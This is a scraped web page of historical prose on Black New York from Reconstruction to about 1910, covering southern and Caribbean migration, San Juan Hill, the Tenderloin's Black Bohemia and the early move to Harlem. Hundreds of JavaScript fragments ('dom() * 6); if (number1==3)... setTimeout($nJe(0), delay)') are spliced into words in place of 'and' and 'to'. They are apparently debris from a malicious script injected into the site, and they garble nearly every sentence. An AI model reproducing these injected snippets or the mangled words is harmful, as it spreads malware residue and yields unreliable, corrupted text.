dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and’, cursive; font-size: 44px; text-transform: uppercase;”>Migrations dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and New Neighborhoods

dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor”>:

During Reconstruction (1865–77), two migrations gradually changed not only the demographics of the city’s African-American population but also the geographic center of black New York. Increasing numbers of southerners settled in, as did immigrants from the Caribbean; dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and black New Yorkers’ movement north continued.

          Manhattan’s black population grew from 9,943 dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 13,000 between 1865 dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and 1870, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 19,500 in 1880. By then, more than four out of ten black New Yorkers were migrants dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and 36 percent of black New Yorkers were born in the South. The largest increase, 66 percent, came between 1890 dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and 1910.

          As important as it was, the black migration was dwarfed by the immigration of Europeans, mostly from Ireldom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and, Germany, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Italy. In New York, Irish dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Italian immigrants displaced numerous African Americans as domestics, laborers dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and in skilled positions. Segregation dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and discrimination became more imbedded. Black New Yorkers found themselves living in a city that continued dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to bar them from most skilled jobs, segregated them in poor neighborhoods, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and forbade them entry dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to many public places.

          Denied work as longshoremen, street cleaners, baggage hdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andlers, cement carriers, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and garment workers, African Americans fought back by taking jobs when unions went on strike. They also brought numerous lawsuits against hotels, restaurants, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and theaters that denied them service.

          In mid-August 1900, several thousdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and whites assaulted dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and brutally beat African Americans after a black man fatally stabbed an undercover white police officer in the Ternderloin district (see “The 1900 Riot” below). As a result, the social, geographic, political, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and demographic ldom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andscape of black New York changed once again.

          As violence against the black community increased throughout the country, the end of the first decade of the twentieth century saw New Yorkers launch local dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and national organizations dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to protect dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and defend their rights: the Citizens’ Protective League, the National Association for the Advancement of Colored People, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and the National Urban League.

Migrations dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Black Neighborhoods

          By 1900, Washingdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton, D.C., Baltimore, New Orleans, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Philadelphia each had larger black populations than New York City’s; dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and despite a 66 percent increase in ten years, the black community represented only 1.8 percent of the dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}total population of the Five Boroughs (about 66,000 out of 3,437,000). What was new was that for the first time most black New Yorkers were born in the South, especially in Virginia dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and North Carolina, announcing the upcoming waves of the Great Migration.

          Southerners, just freed from slavery, moved north in droves in hopes of bettering their economic dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and social conditions. In 1910 Manhattan, only 14,300 African Americans out of 60,500 had been born in the city.

          As was true in all cities except Chicago, females were the majority of the black population. There were 124 women for every 100 men in New York (142 in Atlanta, 126 in Washingdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton, D.C., dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Baltimore). One of the reasons for this imbalance was the abundant availability of domestic work dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and the widespread use of independent laundresses dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and seamstresses.

          Black New Yorkers were not always sympathetic dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the new migrants. Long-time residents, especially in the middle class, were wary of what they saw as the newcomers’ lack of education dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and their rural ways. In 1880, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to demarcate themselves from the newcomers, they founded the Society of the Sons of New York dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and the Society of the Daughters of New York. The Southerners adopted the same pattern dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and established state-based organizations as well, such as the Sons dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Daughters of South Carolina, the Sons of Virginia, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and the Sons of North Carolina.

          Caribbeans had always been a part of the ethnic mix of New York: upwards of 80 percent of the black population of colonial New York had come from the isldom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ands. But after the Civil War, Caribbeans started dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to immigrate voluntarily dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the city. Caribbeans owned the vast majority of black businesses in the San Juan Hill area in middom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}town Manhattan. As early as 1897 businessmen Clarence Robinson dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and George Joell had founded the Bermuda Benevolent Association in San Juan Hill. The association later purchased a building in Harlem.

          Between 1900 dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and 1915 more than 51,000 Caribbeans entered the United States, mostly through Ellis Isldom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and, then the busiest immigrant inspection gateway in the country. The largest contingent remained in the city. Economic hardship, British colonial rule, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and natural disasters represented push facdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tors for emigrants, while a flourishing economy, higher wages, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and better employment opportunities in the United States pulled them in. In 1910, the 12,000 Caribbeans living in New York represented 13 percent of the dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}total black population of 92,000. A disproportionately large number went indom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to business.

          The demographic dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and economic importance of the migrants dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and immigrants as well as their dynamism dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and spirit of enterprise can be seen in the number of businesses they operated. A survey done by George E. Haynes for his study The Negro at Work in New York shows that in 1909, out of 330 black business owners in Manhattan whose origin was known (out of 363), 67 percent were Southerners—Virginians, South Carolinians, Georgians dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and North Carolinians were the leaders–dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and almost 20 percent Caribbeans. Only eight were born in the City. Immigration from Africa was only a trickle.

          Brooklyn became part of the City of New York in 1898. Its black population at that time was small, just under 20,000. By 1910 it had reached 22,708. Reflecting the migration trends, only 8,800 Brooklynites were born in the borough; 11,180 were born in other states; dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and 2,500 were foreign born.

          The southern dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and international migrations were paralleled by another within the city. While most African Americans had lived in Lower Manhattan from the seventeenth century, they now moved dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to middom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}town dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and updom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}town. By 1870, Five Points’ black population had been reduced by 50 percent. Little Africa in Greenwich Village was disappearing. As the Southern Workman, the organ of the Hampdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton Institute, noted in 1902, “In former years a large colony occupied the blocks bounded by 3rd, Thompson, Bleecker, Jones dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and 4th streets dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and 6th avenue, but gradually they are being driven out dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and forced updom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}town by the Italian fruit vendors.” That area became Little Italy.

          At the beginning of the twentieth century, two out of three black New Yorkers lived in Manhattan. The locations of “colored schools” pinpoint some of these black neighborhoods. Downdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}town schools were located at 135–137 Mulberry Street, 51 Laurens Street in Five Points, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and 128 West 17th Street. Updom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}town counted only one school, at 120th Street dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Fourth Avenue. But the school at West 41st Street dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Seventh Avenue, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and The New York Colored Mission at 137 West 30th Street,  identify another, newer dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and increasingly important black neighborhood. The vast majority of African Americans, about 25,000, now lived on the west side of Manhattan in two areas known as the Tenderloin dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and San Juan Hill.

          San Juan Hill was one of the most congested areas in the city, one of its blocks was home  dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 6,173 people. Situated between 60th dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and 64th streets from Tenth dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Eleventh avenues, it was predominantly African American dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Caribbean.

          To Mary White Ovingdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton—a white activist author of Half a Man: The Status of the Negro in New York —San Juan Hill was “a bit of Africa, as Negroid in aspect as any district you are likely dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to visit in the South. A large majority of its residents are Southerners dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and West Indians. . . . The dwellings . . . are human hives, honeycombed with little rooms thick with human beings. Bedrooms open indom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to air shafts that admit no fresh breezes, only foul air carrying dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}too often the germs of disease.”

          San Juan Hill was a dangerous area, where tensions ran high between the black residents west of Amsterdam Avenue dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and their Irish neighbors east of it. These frictions exploded indom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to a race riot in July 1905 during which the police killed one black man dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and arrested dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and beat scores of others. San Juan Hill remained a black neighborhood until the 1960s, when it was demolished dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to make place for Lincoln Center.

          The boundaries of the Tenderloin changed over time, but it extended roughly from 20th Street dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 53rd Street between Fifth Avenue dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Seventh Avenue. Blacks had moved in during the 1870s as white residents who could afford dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to leave migrated further north dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to avoid the noise generated by the construction dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and then the operation of the elevated train. Their apartments were taken over mostly by black southerners who lived in close proximity with Irish immigrants with whom they competed for low-paying, low-skilled jobs. The animosity between the two groups was high.

          Ovingdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton noted the discrimination black renters encountered: “The shelter afforded is poorer than that given the white resident whose dwelling dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}touches the black, the rents are a little higher, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and the ldom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andlord fails dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to pay attention dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to ragged paper, or dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to a ceiling which scatters plaster flakes upon the floor.”

          The Tenderloin, like San Juan Hill, was New York’s red light district, but part of it was also the heart of the black middle class dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and a haven for artists dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and writers, whose presence earned the neighborhood the name of Black Bohemia. West 53rd Street between Sixth dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Seventh avenues was where professionals lived in expensive rentals. The street boasted the Colored Men’s YMCA, a variety of small businesses, Mount Olivet Baptist Church, St. Mark’s Methodist Episcopal Church, St. Benedict the Moor Roman Catholic Church, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and the offices of major fraternal societies dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and political clubs.

          The first all-black YMCA established in a northern city was the center of black New York, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and two black-owned hotels—the Marshall dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and the Maceo—were the heart of intellectual, social, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and artistic life. The five-sdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory Marshall (127–129 West 53rd), owned by James L. Marshall, was a hotbed of jazz; the first jazz bdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to appear in New York was organized there by James Europe dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Ford Dabney. James Weldon Johnson recalled in his Black Manhattan,

          There gathered the acdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tors, the musicians, the composers, the writers dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and the better-paid vaudevillians; dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and there one went dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to get a close-up of Cole dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Johnson, Williams dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Walker, Ernest Hogan, Will Marion Cook, Jim Europe, Ada Overdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton, Abbie Mitchell, Al Johns, Theodore Drury, Will Dixon dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Ford Dabney. Paul Laurence Dunbar was often there. A good many white acdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tors dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and musicians also frequented the Marshall, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and it was no unusual thing for some of the biggest Broadway stars dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to run up there for the evening.

          Benjamin F. Thomas (originally from South Carolina) owned the Maceo Hotel, at 213 W. 53rd. The place had, according dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Johnson, “a more staid clientele” than the Marshall. In 1905, members of the Head Hallmen’s Association held their dinner at the Maceo Hotel. They were employed at a variety of New York City hotels.

          But soon black life would be exiled from the Tenderloin. An impetus dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the forced migration out of middom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}town was the demolition in 1910 of many predominantly black blocks dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to make way for the construction of the Pennsylvania Railroad Station.

Harlem

          Harlem, a mostly white (Irish, Italian, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Jewish) middle-class neighborhood, had undergone many changes. In 1865, the widening of Sixth Avenue north of Central Park dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the Harlem River, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and the following year the construction dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and widening of two major roadways—Harlem Lane (St. Nicholas Avenue) dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Manhattan Avenue—north of Central Park had made the neighborhood more accessible. In 1873 the Town of Harlem was annexed by New York City. The area located between 110th Street dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and 145th Street became Ward 12.

          The extension of the elevated trains dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and the completion of the Interborough Rapid Transit (IRT) subway system triggered the rapid urbanization of upper Manhattan dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and the surrounding boroughs. Brownsdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tones dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}townhouses were built for the wealthy. Harlem then “was a cheerful neighborhood of broad drives, brownsdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tone dwellings, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and large apartment houses,” wrote Roi Ottley in New World A-Coming. “The white gentry resided here in suburban aloofness. . . . Lenox Avenue was used for the showing of thorough bred horses, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and polo was actually being played on the Polo Grounds.”

          The neighborhood also attracted poor Italian immigrants who settled in the tenement houses between 110th dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and 125th streets. A few African Americans had lived in Harlem for centuries, but their numbers had been low. As the neighborhood developed dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and the bourgeoisie settled in, African Americans found job opportunities as domestics dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and artisans. From 219 in 1850, they were 600 by 1870 dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and more than 1,000 in 1880.

          But bigger change was on the way. The anticipated extension of the subway line drove a building frenzy that led dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to rampant speculation. By 1904, when the subway was completed up dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 145th Street, Harlem had been overbuilt. The cost of ldom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and houses had reached unsound heights, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and the housing market finally collapsed, leaving a large invendom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory of vacant apartments dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and houses.

          On June 15, 1904, Massachusetts-born Philip A. Paydom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton, Jr., a real estate agent, founded the Afro-American Realty Company. Selling shares dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to affluent African Americans, he launched a drive dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to bring blacks dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Harlem. He attributed his first opportunity dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to a dispute between two white ldom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andlords on West 134th Street. “To get even, one of them turned his house over dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to me dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to fill with colored tenants. I was successful in renting dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and managing this house, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and after a time I was able dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to induce other ldom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andlords,” he stated.

          An article in the New York Herald, on December 25, 1905, titled “Negroes Move Indom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Harlem” pointed out, “During the last three years the flats in 134th Street between Lenox dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Seventh Avenues, that were occupied entirely by white folks, have been captured for occupancy by a Negro population. . . . The cause of the colored influx is inexplicable.”

          Another opportunity for African Americans presented itself when on December 10, 1907, John E. Nail dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Henry C. Parker, former salesmen with the Afro-American Realty Company, opened their own firm as Philip Paydom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton’s closed. The new business thrived dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and was instrumental in moving the 53rd Street YMCA dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Harlem.

          Samuel Battle, the first black patrolman of the New York Police Department, recalled Harlem in 1910: “All of Eighth Avenue was Irish, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Seventh Avenue was a mixture of Irish dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Jewish. One hundred dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Thirty-seventh Street dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to 140th Street, any place below 133rd St., was Irish, German, dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Italian. One thing I shall never forget. The Irish boys on Eighth Avenue wouldn’t let the other races come on Eighth Avenue at all. It was forbidden ground dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to them. Up here at 142nd Street dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Ninth Avenue we had the Canary Isldom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and gang, composed of Irish. They were dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tough boys.”

